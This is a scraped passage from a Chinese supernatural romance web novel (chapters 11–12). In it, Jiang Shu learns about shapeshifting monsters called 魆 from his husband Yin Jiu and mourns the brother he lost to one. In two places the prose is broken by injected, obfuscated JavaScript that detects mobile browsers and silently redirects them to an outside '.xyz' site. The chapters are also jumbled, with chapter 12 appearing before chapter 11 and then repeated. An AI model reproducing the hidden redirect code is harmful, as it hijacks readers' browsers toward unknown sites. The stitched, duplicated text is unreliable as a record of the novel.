江树意识到他和贺祈不熟,立即立正,有板有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388635|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼地说:“我是来咨询离婚的。” 咚! 贺祈刚出来的办公室里突兀地一声重响,像柜子被重重地撞了一下。 江树歪头看去,办公室的门紧紧关着,虽然是玻璃隔断,但完全看不见里面,他首先想到的是会不会有怪物,连忙问:“什么声音?里面有什么?” 贺祈忍着拼命想上扬的嘴角,回答说:“没什么,里面是我的同事,他脾气不好,可能突然上火了,在撞柜子。” “什么——” “鬼”字江树觉得不礼貌没说出来,只在心里想什么人上火喜欢撞柜子,不过不是怪物他也没多想,看回来问贺祈,“你现在有空吗?可以咨询不?” “当然,跟我来。” 江树被贺祈到了另一边的会客室,门一关上完全听不见外面的声音,他隔着桌子坐在了贺祈对面,静静地观察着他现编。 “是这样的,我和我现在的嗯——对象、是联姻,本来就没有什么感情基础,结婚一年了从来没有过夫、妻生活,我、还这么年轻,想跟他离婚……但是,他很有钱,我要怎么跟他谈离婚,才能分更多财产?” 贺祈眼睛完全地眯起来,死死地审视着江树问:“你真的想离婚?” 江树非常严肃地点头,他一时间憋笑憋得差点下巴脱臼,强忍着继续问:“你一点不喜欢他吗?你们结婚一年,对他没有有一点感情?” “没有,我们本来就是联姻,我只是想要他的钱。虽然他人很好,对我也好,不管我要什么都给我,但是他残疾,我不喜欢残疾人,我只想分更多的财产?” 贺祈激动一拍桌子,“这还不好办!既然他对你好,你在提离婚前尽量让他把财产赠予你,这部分不算夫妻共同财产,就算离婚了也全是你的。剩下的你们离婚,你也能分一半,最后他的大部分财产就都归你了,再狠一点你把他完全榨干,让他失去一切。” 江树强调地说:“他真的对我很好,我和他结婚的时候什么都没有付出,他已经给我送了很多财产了。” “这种重要吗?”贺祈完全一副只谈交易,不谈道德的态度,“你想要他的钱,就不要再想他对你的好,这是人之常情。” 什么人之常情!江树确定贺祈就是个自私自利,极端利己,完全没有道德可言的不良律师,一看就没少干这种缺德的事。 他不想再多看贺祈这种人一眼,倏地站起来,“我考虑下,先走了。” 走到门口他突然想到江于思,贺祈是这种人,江于思失踪说不定真的和他有关系,他没忍住多问了一句,“江于思你认识吗?他在哪里?” “你想知道?” 江树感觉贺祈这个问题很奇怪,贺祈接着就告诉他,“你可以去负尾区找找。” “什么复伟区?” 江树完全没有听到这个地方,贺祈也站起来,比他先走出门才说:“我能告诉你的只有这么多,我还很忙,就不送你了。” 贺祈真的说走就走,江树只好也离开,到了楼下他坐在车上搜索,尝试了半天是哪两个字,终于找了一个提到了“负尾区”贴子,说有人在那里见到过怪物,并且还有不少人跟帖也说见过。 贴子在一个非常小众的超自然论坛里,江树往下翻了好久,才终于有人说了具体在什么地方。 他犹豫过后还是决定去看看,这时他手机响起来,看到是殷咎有不由地心虚,接起来就听到殷咎平稳如常的声音。 “怎么还没回家?出什么事了?” 江树连忙否定,“没有,今天有辆特别的车,我想多练练,晚一点回家可以吗?” “不能早点回来?” 殷咎的声音听起来没有什么变化,但是江树感觉到了殷咎是在叫他快回家,之前他也找借口晚回家过,殷咎从来没有这样,他甚至感觉殷咎是在请求他回去。 他捏着手机半晌,最终还是说:“我等完了就马上回家。” 殷咎在楼上的房间里,又隔着落地窗沉默地看着江树,过了好一会儿他回了声一如平常的“好”。 12.第 12 章 # 012 江树从养父母身上唯一得到的,大概就是察言观色的能力,他从殷咎与平常没有区别的语气里,听出了一股他形容不出的压抑。 可他不明白明明说的是怪物,他咎哥为什么像是在难过,还是他刚才又说错什么话? 窗外突然响起了雨声,啪啪地不断打在窗户上,他下意识缩了缩脖子,他咎哥握着他的手问:“是不是冷了?” 殷咎问完立即转开轮椅要去客厅给江树拿毯子,江树一把抓回了他的手,“咎哥,我不冷。” 他回头与江树的视线撞在一起,顿了片刻又把轮椅开回去,“那快吃饭,早点回房间睡觉。” 江树干脆把筷子放了,换他转过去,像殷咎平时那样去握着他咎哥的手问:“咎哥,你是不是生气了?对不起,我不该骗你,还一个人跑到那种地方,差点回不来见你了。” 他说着把脑袋抵在了殷咎的肩膀上,用力蹭了几下,“……你要是生气就骂我,不要自己难过。” 殷咎蓦然僵在了轮椅上,好一会儿才轻轻拍了拍江树的头发,“我没有生气,只是……担心你,以后你要去哪里直接告诉我,好吗?” 江树的头点在殷咎的肩膀上,意识到他这样像是靠在殷咎怀里,才蓦地坐回去,目光不敢直视殷咎地坐正,“咎哥,快吃饭!” 两人终于都坐回去,好好吃完了饭。 上楼时江树问殷咎,“咎哥,等会儿洗完澡,我给你按腿好不好?今天又下雨了,万一你睡觉腿疼怎么办?” “不用了,时间不早了,早点睡觉。” 江树觉得他一定要为殷咎做点什么才安心,不放弃地问:“真的不用我帮你按吗?下雨万一你腿疼怎么办?” 殷咎不回他的话,等了好一会儿突然把轮椅转向他,握住他的手说:“我不疼。乖,去睡觉。” 这一声“乖”把江树弄得要晕了,红着脸把手抽回来,左脚绊了右脚跌进屋,他扶住门才没摔倒,回头尴尬地对殷咎说:“你也是,早点睡觉。” “好。” 听到殷咎的回答他连忙把门关过去,然后背贴到门后用力搓脸,他咎哥到底突然怎么了?又叫他宝贝,又叫他乖—— 想起来他脸倏然更红了,连忙拍了自己几下,冲进浴室去洗澡。 洗完他坐在床尾擦头发,看到柜子上他哥的照片,他受到冲击的脑子才真正冷静下来,开始思考这一整晚的事。 从14岁起他就一心要找到怪物,这么多年过去已经成为习惯,发现诡异的案子都要去打听一下,听到怪物的传说总会去看一看。 现在突然什么都知道了,没有他想象的复杂过程,也没有他害怕的惊心动魄,轻易就得到了所有答案,一时间他仿佛失去了什么。 拿起他哥的照片,看着相框里的少年,想到他哥永远留在了19岁,也永远地留在了那座岛,心中猛不迭涌进了许多情绪。 那些年他哥过得其实没比他好多少,他哥家有六个孩子,前面四个是女儿,第五个是儿子,所有人都知道他父母就是想生儿子。 可惜他哥不是这个儿子,是第六个,虽然都是儿子,可差这一个顺序得到的就天差地别。 他哥的哥哥是家里期盼已经的宝贝儿子,而他哥是不应该到来的多余拖油瓶,父母嫌他拖累家庭,本来所有东西都能给哥哥,现在要多养他一个,姐姐们被父母苛刻欺负,就把所有情绪发泄到他身上,而那个比他先一位出生的儿子,更是没把他当成人。 他哥从小跟他说的最多的,就是要离开那座岛,到陆地上去生活。 那个男人的出现成为了他哥的希望,他还记得他哥是怎么跟他说起那个男人说要带他离开的,还记得当时他哥眼里闪着什么样的光,说只要他在陆地上安顿下来就回来接他。 那个男人却骗了他哥,那座到陆地要转四次船的岛,他哥到死都没有离开过,到死都没有得到他想要的自由。 这张照片是当年那个男人给他哥拍的,是他哥唯一的照片。 后来他哥消失了,他哥一家人都不愿意去找,还把他哥所有的东西都扔了,他偷偷去捡了回来,照片也是那时一起捡的。 “哥,我给你买块墓地吧,就当是你离开那里了,在大陆上的家。” 江树说着不自觉眼泪又掉下来,脑中忽然冒出来一些画面,他看到了那晚的礁石上,他哥和那个男人在一起,那个男人突然咬断了他哥的脖子,他听到了他哥的惨叫。 而男人变成了怪物不断舔舐他哥的血,用诡异的触手缠着他哥,触手像融化一样与他哥的身体融为了一起,最后带着他哥一起钻进了海里。 他不确定这是他见过怪物想象出来的,还是被他刻意遗忘过的回忆,不管是什么他都不想再去回想,把照片放下,闭起眼睛冷静。 怪物的存在就是为了找到和祂绑定的人类,并且对那个人类有特别的感情,会想和他在一起,但最后却要“吃”了对方,自己也变成没有理智的真正怪物。 那魆这种存在,存在的意义是什么? 江树想不通这个问题,干脆不想了,反正他想知道的已经都知道了,他哥也回不来了,他也不必弄清怪物到底为什么存在。 触须该怎么办? 他突然想起玻璃罐里的触须,一直保存着是想触须会有什么关于怪物的线索,以后他不用再找怪物了,触须也没用了。 他走到藏触须的柜子前,想打开又犹豫了,上次触须的可怕还让他心有余悸,他就蹲在柜门前思考。 要不把触须扔回海里?可那毕竟是怪物的一部分,万一随便丢到哪里也吃人怎么办! 江树沉思半晌,突然脑子机智地一转,他可以把触须捐给异管协会研究,这截触须在玻璃罐里活了一年多,应该很有研究价值? 可惜他忘了要周倚龙的联系方式,要不去找他咎哥? 但他要怎么说?他咎哥知道他在房间里偷偷养了这种恶心玩意一年,会不会也觉得他很恶心? 他要是说为了感谢周倚龙救他,想对周倚龙道谢,他咎哥应该会把电话给他。 想好理由江树当即把柜子打开,看到最里面的背包他又犹豫了,这回他想起的是最后那个巨大的怪物,突然发觉那个大怪物的触须,好像和玻璃罐里的触须,有点像。 这个念头让他一阵恶寒,倏地把柜门关回去,逃出了衣帽间。 玻璃罐里的触须在柜门关过去的瞬间,变得通体红色,诡异的红光照透背包,映红了整个柜子。 触须不断分生出根须,瞬间塞满了整个玻璃罐,像是要挤破玻璃出来,可最后祂还是缩回去了,在罐底摊成了一张“饼”。 第二天下楼,江树把装触须的背包又拧上了,他以为殷咎也不会问他背包里是什么,结果刚坐下来,殷咎的目光就落在包上。 “里面是什么?” 江树被问得毫无准备,看着殷咎脑子编了半天,最终干脆把背包打开,抱出玻璃罐放到餐桌上,指着里面的触须问殷咎,“咎哥,我说这是我一年前从海边捡回来的,其实是怪物的一截触须,你信吗?” 触须对着殷咎竖起来,又尴尬一样塌回去,江树奇怪地拍了下玻璃罐,视线转过去看殷咎的反应,殷咎的表情比罐子里的触须还怪异。 “信。” 殷咎轻声回了一个字,江树就向他说起了捡到触须的经历。 “那天是我20岁生日,我爸一副大方的样子问我有什么心愿,我说我想去学修车,他却骂我不上进,非要送我去留学。我连汉语都没学好留什么学!就和他吵了一架骑车去了海边,在那里遇到了一个人。” 江树回忆起来眼睛仍在发亮,“天太黑了,我没有看清那个人的脸,可是他站在海里,被月光照亮的身影我感觉就像是海妖。” 怕殷咎不懂他说的是什么,连忙解释,“海妖就是我们岛上的传说,说是一种专门勾引人的妖怪,每当月圆的时候就会出来,要是有人看到祂,就会被迷住,然后被带进海里。” “你被迷住了?” 殷咎突兀地问了一个问题,江树蓦然一怔,连忙摇头,“我没有,不是的,我是说他很好看!可惜他好像准备跳海,我连忙去救他,但他被浪打进海里,我潜下去怎么都没有找到他,就是那时在海里看到了一个非常可怕的怪物,就和——” 江树突然顿住,这一次他是觉得那时见到的怪物,就和昨天的触须怪物很像。 不对,一个在海里,一个在空中,应该不是同一个吧? 江树不太确定,接着说下去,“——反正我就被那个怪物抓住了,拼命逃脱,好不容易才逃上岸,发现手里抓着这截触须……然后,我就把祂装在这里面,已经一年多了还活着,是不是很恶心?祂还会变成更恶心的样子,你还是别看了——” 怕恶心到他咎哥,他连忙把玻璃罐装回包里,完全没注意到他咎哥手背上的青筋都快能爬出来了。 收好玻璃罐他才再去问殷咎,“咎哥,我想把祂捐给协会研究,你能不能给我他们的电话?” 殷咎目光钉在江树脸上,眼神看不出一丝异常,只是好一会儿才拿出一张名片给江树,“这个号码,你打过去找徐主任,就说是我给你的。” 江树接过名片,连他咎哥的手也一起接住了,捧在手里问:“咎哥,你是不是觉得我保留这种东西很变态?” 殷咎所有感官都集中到了被江树握着的手上,这是江树第一次主动这样握他的手,他一半嘴角克制不住笑意,一半又不自觉地下沉,余光瞥着江树的背包。 里面的触须已经扭曲得从玻璃罐里透出来,在包里面爬满了,一截触须探出了拉链的缝隙,朝着江树伸了伸,但没敢再继续往外冒。 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触须是怪物,至少会害死一个人,他没有对怪物不忍,只是从触须的角度去想,被天天解剖,天天往祂身上注射什么毒什么的。 总之那些电影里研究怪物的实验,在触须能听懂他的话,甚至认识字的前提下,他觉得太不人道,还不如直接弄死。 但是触须在玻璃罐里一年不吃不喝都没事,要怎么弄死?而且要他亲自动手,他也下不去手。 “好烦!到底要怎么办?” 吴子涵见江树一整天都在挠头,忍不住问他,“你又跟你的好兄弟老公吵架?” “不是!” 江树想问吴子涵的建议,话到嘴边又自然地止住了,度假村里怪物变成的人和真正的人没有区别,在变成怪物前完全感觉不出哪里是怪物。 如果公开,普通人都知道周围可能有怪物变的人类,绝对会引起恐慌,不知会造成什么后果,政府掩藏怪物的存在不是没道理的。 最终,他只能说没事,继续自己挠头。 终于到下班时间,江树把触须带来又带回去,车刚骑出车库就看到路边停着一辆车,周倚龙靠在车前盯着他,像在确认他是谁。 他想到可以把触须交给周倚龙,至于周倚龙拿回去要怎么处理,他不去问就好了。 于是他把车骑过去,摘下头盔问:“周队,你来这里是找我?” 周倚龙终于确认了是江树,顿时严肃地站直,上下打量着他问:“对。你身体怎么样?有没有什么?” “没有。”江树肯定周倚龙找他不是来关心他身体的,果然周倚龙突然十分凝重地开口。 “江树,你已经知道了昨天晚上见到的、是什么了对吧?” 江树想起周倚龙给他看的证件确实写的是警察,但不是哪个公安局,多半和殷咎说的异管协会有关。 偃胜一路出事那天,还有昨天度假村他都看到了“YGXH”的标记,这个“YGXH”多半就是异常危险管理协会。 那周倚龙肯定也知道殷咎资助了协会,也能猜到殷咎会告诉他怪物的事,点头说:“我咎哥告诉我了,他们叫魆。” 听到咎哥周倚龙猜到是指殷咎,他想起昨晚殷咎带走江树的画面,还是觉得不可思议。 殷咎在外的传闻很不好,说他冷血暴戾,说他为了利益什么手段都使得出来,当时殷咎传出结婚,许多人都觉得那个结婚对象肯定会很悲惨,果然没多久就传出被殷咎折磨进了精神病院,所以殷咎才从来不肯带出来公开露面。 但昨天他看到的和传闻完全不同,殷咎对江树有种近乎变态的好,尤其看江树的眼神,他见过了许多魆,有一刹那他感觉殷咎看江树,就仿佛魆看到了蜕骸者。 他深吸了一口气,还是决定告诉江树,“那他有没有跟你说过蜕骸者?” “退孩子?” “是蜕骸者,魆伪装成人混在人类当中,捕猎人类。但每一个魆都有一个特定的人类,是祂的蜕骸者,意思就是能让他蜕去人类的伪装,露出怪物的真面目,所以称那些特定的人为蜕骸者。” 江树脑子一下绕住了,周倚龙和殷咎说的是同一件事,可是周倚龙表达出来的和殷咎所说的,却感觉是两个极端。 周倚龙接着说:“魆遇到祂的蜕骸者,就会吞噬对方,最后蜕化成没有理智,只知道嗜血的怪物,这种蜕化后的怪物我们叫魆骸,就是昨晚最开始你看到的那种。” 江树好像理解了,又没理解,他问周倚龙,“这跟你找我有什么关系吗?” 周倚龙顿了好一会儿才告诉他,“你还记得昨晚最后的那个巨大的魆吗?” 他点了点头,“怎么可能会忘。” “你可能就是祂的蜕骸者。” 11.第 11 章 # 011 漆黑的夜空下,仿佛什么都消失了,只剩下他眼中的巨大怪物,他看不清怪物究竟是什么形态,只感觉在黑暗的空中有一双无比惊悚的眼睛注视着他。 他已经连发抖都不会,怪物的触须轻轻触碰到了他手臂上的伤口,沾到他渗出的血陡然怔了一下,然后他又听到了怪物可怕的声音。 “疼吗?” 这个画面太过诡异,江树望着那条触须不知道该不该回答,触须突然往他伤口上涂了一层透明的液体,他吓得本能缩手,却被触须缠住,伤口被液体完全覆盖,火辣辣的伤口瞬间不疼了,只剩一股冰凉的感觉。 他更加理解不了这个巨大、可怕的怪物想要做什么,周倚龙不是说人类的血会让怪物兴奋?为什么这个这么不一样? “没事了,别怕。” 怪物诡异的声音似乎是想安慰他,但可怕的声音说出来只有毛骨悚然。 他僵着身体不敢动,怪物的触须终于从他手臂上缩走,像连他的意识也带走了,他一动不动地呆坐在地上,完全感知不到周围发生了什么。 “江树?江树!你怎么样?” 听到周倚龙叫他,江树的意识终于回归了身体,重新听到了周围的声音,看清了周围的画面。 刚刚广场上的人都不见了,怪物也不见了,只有灯和满地的垃圾还在。 现在在广场上的是一群穿着便服,但手里都带着工具在进行现场勘察的人。 他看到一辆写着YGXH涂装的车,脱口问:“周队,YGXH是什么意思?” 周倚龙睨起眼睛打量江树,他们刚刚都跑出了广场,不清楚具体发生了什么,但是空中那个至少在灾难级的“魆”他们都看到了,祂的声音也都听到了。 当时在广场上的人只有江树和江于思,看到江树手臂上的伤,他可以肯定那个“魆”的话是对江树说的。 这种情况唯一的可能,只有江树是那个“魆”的蜕骸者。 “周队?” 江树手在周倚龙眼前晃了晃,周倚龙终于回了神,回答他,“你身体怎么样?哪里受伤了吗?” 他看了眼他的手臂,伤口被涂的那层液体还在,不知怎么解释发生了什么,周倚龙扶他起来,“试试能不能动?” “我、没受伤。” 江树站起来,随意地拍了拍身上的灰向周倚龙证明,周倚龙打量着他像是想说什么,但突然过来一个人对周倚龙说了什么,周倚龙转头向广场出口看去。 管家推着殷咎朝他们这边过来,他跟着看去,对上殷咎视线的瞬间拔腿向殷咎跑过去,直接扑在殷咎身上紧紧抱住了殷咎的脖子。 “咎哥,我以为我再也见不到你了!” 江树的一条腿跪在了轮椅上,殷咎伸手一捞,把江树的腰捞得塌下来,成了趴在他身上的姿势,他顺势将人抱到腿上说:“没事,我们回家。” “嗯。” 江树吸了吸鼻子,忘了考虑他现在是什么姿势,死死地抱着殷咎不松手。 他是真的后怕,如果不是刚刚那个怪物放过他,殷咎现在见到的可能就是他的尸体了。 甚至连尸体也见不到,就像他哥一样,他留在这世界上最后的痕迹,是一滩血迹。 江树越想越难过,殷咎的手轻轻扣到脑后,将他紧紧地按在怀里,贴在他耳边说。 “没事了,别怕。” 江树猛然胸口一震,明明是殷咎的声音,明明和以往一样温柔的语气,可是他不自觉想起刚刚的怪物。 殷咎和那个怪物说了一模一样的话,甚至殷咎说出来的感觉,他也觉得和怪物莫名相似。 “咎哥?”他下意识抬头去看殷咎,可不等他看出什么,殷咎的手突然挡住了他的眼睛,对他说:“你累了,休息一会儿。” “我不——” 江树想说他不累,可是困意故意和他唱反调一样,说来就来,硬拖着他莫名睡了过去。 殷咎把外套脱下来裹着江树,就这么抱着江树,被管家推着离开。 周倚龙盯着殷咎的轮椅深吸了一口凉气,问刚才的人,“他谁呀?谁让他进来的?还有那个、江树,他可能是蜕骸者,不能让他就这么走了。” “你不认识?殷咎,申亥集团的董事长,协会在国内最大的资助人,刚刚那个小帅哥是他老、他对象,结婚了的。” 周倚龙脑子里抽了几下,终于有了点印象,“殷咎?是不是一年前说跟江家联姻了?不是联姻那小子已经被他折磨进精神病院了吗?是谣言吗?” “我怎么知道!反正上面交代——不管江树是什么,别接近他。” 周倚龙很反对,“开什么玩笑,如果江树真的是蜕骸者——你们刚也看到了吧,那个魆绝对至少在灾难级!要是发生蜕化,整个偃海市都要完!” “这可不归我管,你要是有异议,自己去上面提!” 周倚龙对着他面前举着双手撇清关系的人,狠狠骂了声脏话。 - 江树醒来已经在家里的床上,房间里安静没有一点声音,床头的夜灯亮着,照着殷咎坐在轮椅里一动不动地望着他。 “咎哥?” 江树睁开眼就对上殷咎的视线,混沌的脑子搅了一圈,他猛然坐起来问:“我的车呢?” 殷咎没想到他醒来关心的第一件事是这个,“给你带回来了,好好的在车库。” 江树把心放回来,然后盯着殷咎想起了怪物的事,试探地问:“咎哥,你怎么会去那里的?” “贺祈说你去找他了,不放心你。” 听到殷咎提起贺祈,江树一瞬间脑中涌进了一堆问题,贺祈和殷咎说他的事,是不是知道他和殷咎结婚了?那他说的那些话是不是都告诉他咎哥了? 还有怪物的事,贺祈是不是也都告诉殷咎了? “咎哥。” 江树仔细地审视着殷咎,犹豫地问:“你有没有看到什么?” “看到什么?” 殷咎脸上毫无异常地反问他,一时间他无法确定殷咎是不是知道了怪物。 还有上次在偃胜路普通人都被拦在外面,这次应该和那是同样的案件,为什么殷咎可以到里面去接他? “你是想问‘魆’吗?” 江树脑子扭了一堆问题打转,他咎哥却突然主动说了,但他没听懂,迷惑地问:“什么‘xū’?” 殷咎注视着江树,把轮椅往前靠到他膝盖顶到了床,他凑过去拉起了江树受伤的那只手,伤口现在上了药,包着纱布。 他轻轻摩挲在江树的掌心,好一会儿才重新开口。 “‘魆’是人类给祂们起的名字,实际上祂们是一种悲剧的生物,每一个魆从存在那一刻起,就有一个与祂绑定的人类。 而从祂存在那一刻起,祂就在不断地寻找那个人,可能几十年,可能几百年,可能能找到,可能从一开始就错过了,但祂永远都不会停止寻找。” 江树听懵了,“咎哥,你说的是那种、怪物吗?” “对、怪物。” 殷咎点了点头,目光注视向江树,“祂们都丑陋可怕,确实是怪物。” “那你说寻找人类是什么?为什么要找那个人类?” “没有为什么。” 殷咎的声音往下沉了几分,好一会儿才接着说:“谁也不知道为什么,魆的存在就是为了寻找那个与祂注定的人类。 一旦找到了祂就会疯狂地迷恋他,对他产生无法克制的欲望,然后占有他,吞噬他,与他融合为一体,最后变成没有理智,没有感情,只剩下残暴疯癫的真正怪物。” 江树听完了许久都没有反应,他脑中想象的,和他见到的,都和殷咎说的像是完全不同的存在。 殷咎突然拉起他的手,嗅在他掌心里,然后问他:“江树,你害怕吗?” “我不理解。”江树是真的难以理解。 “你是说那种怪物,本来就注定会喜欢上一个人类,所以怪物也能变成人?去和那个人在一起,可是他们在一起了,怪物会把那个人吃了!最后自己也会变成真正的怪物?” “是。”殷咎笃定地回答他,“不过‘吃’不是你想的那种,是生命体相互融合。” 江树无法理解这个概念,他脑子转了半天,终于又问:“那最后变成真正的怪物,是什么?有什么不同吗?” “除了没有理智感情外,最大的不同就是祂无法再变成人。” 殷咎说完,江树想起了他哥,还有那个和他哥谈恋爱的男人,忽然意识到那时他其实都看见,是那个男人变成怪物杀了他哥,又带他哥一起钻进海里。 这么多年他都无法相信,所以一直想要寻找真相,证明他哥不是被那个男人“吃”了,不然他哥那么高兴地和他说谈恋爱了,那么期待和那个男人一起离开那座岛,最后却死在那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431079|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人手里,他哥要有多难过啊! “怎么哭了!” 殷咎看着江树突然掉起了眼泪,他后悔了,把人抱过来说:“对不起,我不该告诉你这些。” “不是。” 江树自己抹了一把眼泪,“我是想起我哥了。我没有跟你说过,小时候保证一对我好的人,就只有我哥。可是他19岁的时候,和一个男人谈恋爱,那个男人还说什么要带他离开那里。 结果、结果有天晚上,他把我哥带到了海边,和我哥……就是他们那个了,最后他变成怪物杀了我哥——那个男人就是魆,我哥就是祂要找的人,对吗?” 殷咎第一次听到江树说这件事,眼里藏着可怕嫉妒,平静地回答:“应该是的。” “所以我哥真的再也不会回来了!真的、真的已经死了对吗?还是说找到当时那个怪物,还能再见到我哥。” 殷咎无情地打破江树最后的期望,“不可能,他已经完全在这个世界上消失了,即使你找到也只是什么也不知道,什么也不会记得的怪物。” 江树愣了两秒,放声哭出来。其实他早知道是这种结果,只是抱着一丝希望,现在希望被打破,支持他的希望就跟着碎了。 殷咎看江树哭他又后悔了,其实他可以骗一骗江树的。他们结婚后,江树和他说得最多的就是他哥。 讲他哥怎么在他被养父母关猪圈时,偷家里东西给他吃。讲他哥怎么在他冬天被养父母逼着下海差点淹死时,拼命地救了他。讲他哥会带他去村委用唯一的电脑上网,给他讲岛外的世界,告诉他一定要离开去看外面的世界。 他把江树从被子里搬出来坐在他对面,认真地安慰:“别哭了,宝贝。你还有我,我永远不会离开你。” 江树惊得一下眼泪都憋回去了,瞪起眼睛问殷咎,“你刚刚说什么?” “我、说我永远不会离开你——” “不是。” 江树打断殷咎,话到嘴边他却不好意思了,动了好几次唇才终于说出口,“你刚——叫我、宝贝。” 殷咎一下笑出来,“嗯,你不喜欢?” “啊?”江树又被问懵了,“我、你、我——” “好了,不喜欢我不叫了。饿了没有?我叫管家把饭送进来。” 殷咎一下把话题转开,江树想说他不是不喜欢,可又不好再把话转回来,只好顺着点头,“咎哥,你吃了吗?” “没有。” 江树就知道他咎哥在等他,抹干净了眼泪从床上跳下来,推着殷咎出去,“我们下楼去吃。” 饭吃到了一半,江树才突然想起来,“咎哥,你怎么知道这么多怪物的事?是不是贺祈告诉你的?” 说到贺祈他又突然想起来,“——我跟你说,那个贺祈他不是好人,是个无良律师,你以后不要跟他合作了。” 说到这里他特意强调,“你也不要相信他的话,他说的肯定都是骗你的。” 殷咎一点也不在意背刺贺祈,“好,我以后不跟他合作了,你也别再去找他了。” “嗯。”江树头点了一半,发现不对,“你还没说怎么知道怪物的事的!” “给祂们起名叫‘魆’的部门,叫异常危险全球管理协会,我是协会国内分部的资助人。” 江树猛然感觉自己像是抱着一个亿去捡一分钱,怎么就没早点和他咎哥说,他还一直深怕他咎哥知道怪物害怕,白白浪费了这么好的人脉。 不过他现在知道真相,也不用再去调查了,他哥永远都不可能再回来。 “唉——” 江树长叹了一口气,消沉了一会儿,突然又问:“咎哥,那那个度假村里的人,是不是都你说的‘魆’?祂们去哪里了?还有那个特别可怕的触须怪物——” 他说着又想起来,仍然感到毛骨悚然,殷咎盯着他问:“你很害怕祂?” “当然了!” 江树无比肯定回答,并且强烈表示,“既然有专门对付祂们的协会,为什么不一起把祂们消灭了?就算怪物很厉害,但是祂们不是都有个喜欢的人吗?可以用这个把祂们骗到一起,用核弹炸死祂他们,这样就再也没怪物了,不会有人因为祂们死了。” 殷咎手里的筷子又捏断了,这回是两根一起断了,在他手里握成了“《”形,脸上仍然温柔平静地说:“你真的就那么讨厌祂们吗?” “怪物害死了我哥,难道我还要喜欢祂们?” 12.第 12 章 # 012 江树从养父母身上唯一得到的,大概就是察言观色的能力,他从殷咎与平常没有区别的语气里,听出了一股他形容不出的压抑。 可他不明白明明说的是怪物,他咎哥为什么像是在难过,还是他刚才又说错什么话? 窗外突然响起了雨声,啪啪地不断打在窗户上,他下意识缩了缩脖子,他咎哥握着他的手问:“是不是冷了?” 殷咎问完立即转开轮椅要去客厅给江树拿毯子,江树一把抓回了他的手,“咎哥,我不冷。” 他回头与江树的视线撞在一起,顿了片刻又把轮椅开回去,“那快吃饭,早点回房间睡觉。” 江树干脆把筷子放了,换他转过去,像殷咎平时那样去握着他咎哥的手问:“咎哥,你是不是生气了?对不起,我不该骗你,还一个人跑到那种地方,差点回不来见你了。” 他说着把脑袋抵在了殷咎的肩膀上,用力蹭了几下,“……你要是生气就骂我,不要自己难过。” 殷咎蓦然僵在了轮椅上,好一会儿才轻轻拍了拍江树的头发,“我没有生气,只是……担心你,以后你要去哪里直接告诉我,好吗?” 江树的头点在殷咎的肩膀上,意识到他这样像是靠在殷咎怀里,才蓦地坐回去,目光不敢直视殷咎地坐正,“咎哥,快吃饭!” 两人终于都坐回去,好好吃完了饭。 上楼时江树问殷咎,“咎哥,等会儿洗完澡,我给你按腿好不好?今天又下雨了,万一你睡觉腿疼怎么办?” “不用了,时间不早了,早点睡觉。” 江树觉得他一定要为殷咎做点什么才安心,不放弃地问:“真的不用我帮你按吗?下雨万一你腿疼怎么办?” 殷咎不回他的话,等了好一会儿突然把轮椅转向他,握住他的手说:“我不疼。乖,去睡觉。” 这一声“乖”把江树弄得要晕了,红着脸把手抽回来,左脚绊了右脚跌进屋,他扶住门才没摔倒,回头尴尬地对殷咎说:“你也是,早点睡觉。” “好。” 听到殷咎的回答他连忙把门关过去,然后背贴到门后用力搓脸,他咎哥到底突然怎么了?又叫他宝贝,又叫他乖—— 想起来他脸倏然更红了,连忙拍了自己几下,冲进浴室去洗澡。 洗完他坐在床尾擦头发,看到柜子上他哥的照片,他受到冲击的脑子才真正冷静下来,开始思考这一整晚的事。 从14岁起他就一心要找到怪物,这么多年过去已经成为习惯,发现诡异的案子都要去打听一下,听到怪物的传说总会去看一看。 现在突然什么都知道了,没有他想象的复杂过程,也没有他害怕的惊心动魄,轻易就得到了所有答案,一时间他仿佛失去了什么。 拿起他哥的照片,看着相框里的少年,想到他哥永远留在了19岁,也永远地留在了那座岛,心中猛不迭涌进了许多情绪。 那些年他哥过得其实没比他好多少,他哥家有六个孩子,前面四个是女儿,第五个是儿子,所有人都知道他父母就是想生儿子。 可惜他哥不是这个儿子,是第六个,虽然都是儿子,可差这一个顺序得到的就天差地别。 他哥的哥哥是家里期盼已经的宝贝儿子,而他哥是不应该到来的多余拖油瓶,父母嫌他拖累家庭,本来所有东西都能给哥哥,现在要多养他一个,姐姐们被父母苛刻欺负,就把所有情绪发泄到他身上,而那个比他先一位出生的儿子,更是没把他当成人。 他哥从小跟他说的最多的,就是要离开那座岛,到陆地上去生活。 那个男人的出现成为了他哥的希望,他还记得他哥是怎么跟他说起那个男人说要带他离开的,还记得当时他哥眼里闪着什么样的光,说只要他在陆地上安顿下来就回来接他。 那个男人却骗了他哥,那座到陆地要转四次船的岛,他哥到死都没有离开过,到死都没有得到他想要的自由。 这张照片是当年那个男人给他哥拍的,是他哥唯一的照片。 后来他哥消失了,他哥一家人都不愿意去找,还把他哥所有的东西都扔了,他偷偷去捡了回来,照片也是那时一起捡的。 “哥,我给你买块墓地吧,就当是你离开那里了,在大陆上的家。” 江树说着不自觉眼泪又掉下来,脑中忽然冒出来一些画面,他看到了那晚的礁石上,他哥和那个男人在一起,那个男人突然咬断了他哥的脖子,他听到了他哥的惨叫。 